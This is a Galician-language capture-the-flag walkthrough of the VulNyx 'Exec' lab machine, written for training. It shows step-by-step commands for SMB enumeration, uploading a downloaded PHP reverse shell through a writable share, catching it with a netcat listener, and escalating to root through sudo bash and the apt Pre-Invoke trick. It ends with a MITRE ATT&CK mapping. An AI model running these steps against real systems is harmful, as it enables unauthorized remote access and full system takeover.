Ir ao contido

Doc vulnyx exec

Máquina virtual Exec

Fig. VulNyx Exec
Fig. Card VulNyx Exec

A máquina Exec é moi interesante porque...

  • SMB share con permisos de escritura que apunta a /var/www/html
  • Upload de webshell mediante SMB en lugar de HTTP
  • Escalada en dous pasos: www-data → [usuario] → root
  • Uso de apt con sudo mediante Pre-Invoke

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Exec -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Exec # 22,80,139,445
whatweb IP_VulNyx_Exec
curl -I IP_VulNyx_Exec

Fase 2 — Análise

# Porto 139 → NetBIOS / SMB
# Enumeración de recursos compartidos SMB
enum4linux IP_VulNyx_Exec

# Recurso compartido identificado: Server (con permisos de escritura)

# Conexión ao recurso compartido
smbclient //IP_VulNyx_Exec/Server -N
# smb: \>

# Enumeración do recurso
ls
# Atopamos index.html

# Descarga de index.html
get index.html
# ⇒ Confirmamos que o recurso apunta a /var/www/html

Fase 3 — Explotación

# Descarga de reverse shell PHP (PentestMonkey)
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php

# Edición da reverse shell
nano shell.php
# Modificamos $ip e $port

# Subida da reverse shell mediante SMB
smbclient //IP_VulNyx_Exec/Server -N
smb: \> put shell.php

# Preparamos listener no atacante
nc -nlvp 4444

# Execución da reverse shell mediante navegador
firefox http://IP_VulNyx_Exec/shell.php &
# ⇒ Conseguimos reverse shell como usuario www-data

Fase 4 — Post‑explotación

# Enumeración de permisos sudo
sudo -l
# User www-data may run the following commands on exec:
#     ([usuario]) NOPASSWD: /bin/bash

# Escalada horizontal a usuario [usuario]
sudo -u [usuario] /bin/bash
# ⇒ Conseguimos consola de usuario [usuario] (flag user.txt)

# Nova enumeración de permisos sudo
sudo -l
# User [usuario] may run the following commands on exec:
#     (root) NOPASSWD: /usr/bin/apt

# Consulta en GTFOBins(https://gtfobins.github.io/) para apt
# Explotación de apt con sudo
sudo /usr/bin/apt update -o APT::Update::Pre-Invoke::=/bin/sh
# ⇒ Conseguimos shell de root

# Verificación
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida

Correspondencia de fases → MITRE ATT&CK — VulNyx: Exec

Fase Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
1. Recopilación Descubrimento de host e servizos expostos Scanning / descubrimento de servizos T1595 — Active Scanning
T1046 — Network Service Discovery
CWE-200 — Information Exposure (reconnaissance)
2. Análise Enumeración de recursos compartidos SMB SMB enumeration T1021.002 — Remote Services: SMB/Windows Admin Shares
T1087 — Account Discovery
CWE-668 — Exposure of Resource to Wrong Sphere
Identificación de recurso compartido con permisos de escritura Access control enumeration T1083 — File and Directory Discovery
T1135 — Network Share Discovery
CWE-732 — Incorrect Permission Assignment for Critical Resource
3. Explotación Subida de webshell PHP mediante SMB File upload via SMB T1505.003 — Server Software Component: Web Shell
T1021.002 — Remote Services: SMB/Windows Admin Shares
CWE-434 — Unrestricted Upload of File with Dangerous Type; CWE-732 — Incorrect Permission Assignment
4. Post-explotación Escalada horizontal mediante bash con sudo Lateral movement T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1078.003 — Valid Accounts: Local Accounts
CWE-269 — Improper Privilege Management
Enumeración de permisos sudo como [usuario] Discovery local T1069 — Permission Groups Discovery
T1083 — File and Directory Discovery
CWE-200 — Information Exposure
Abuso de apt con sudo para escalada a root Abuso de mecanismos de elevación T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1059.004 — Command and Scripting Interpreter: Unix Shell
CWE-269 — Improper Privilege Management; CWE-284 — Improper Access Control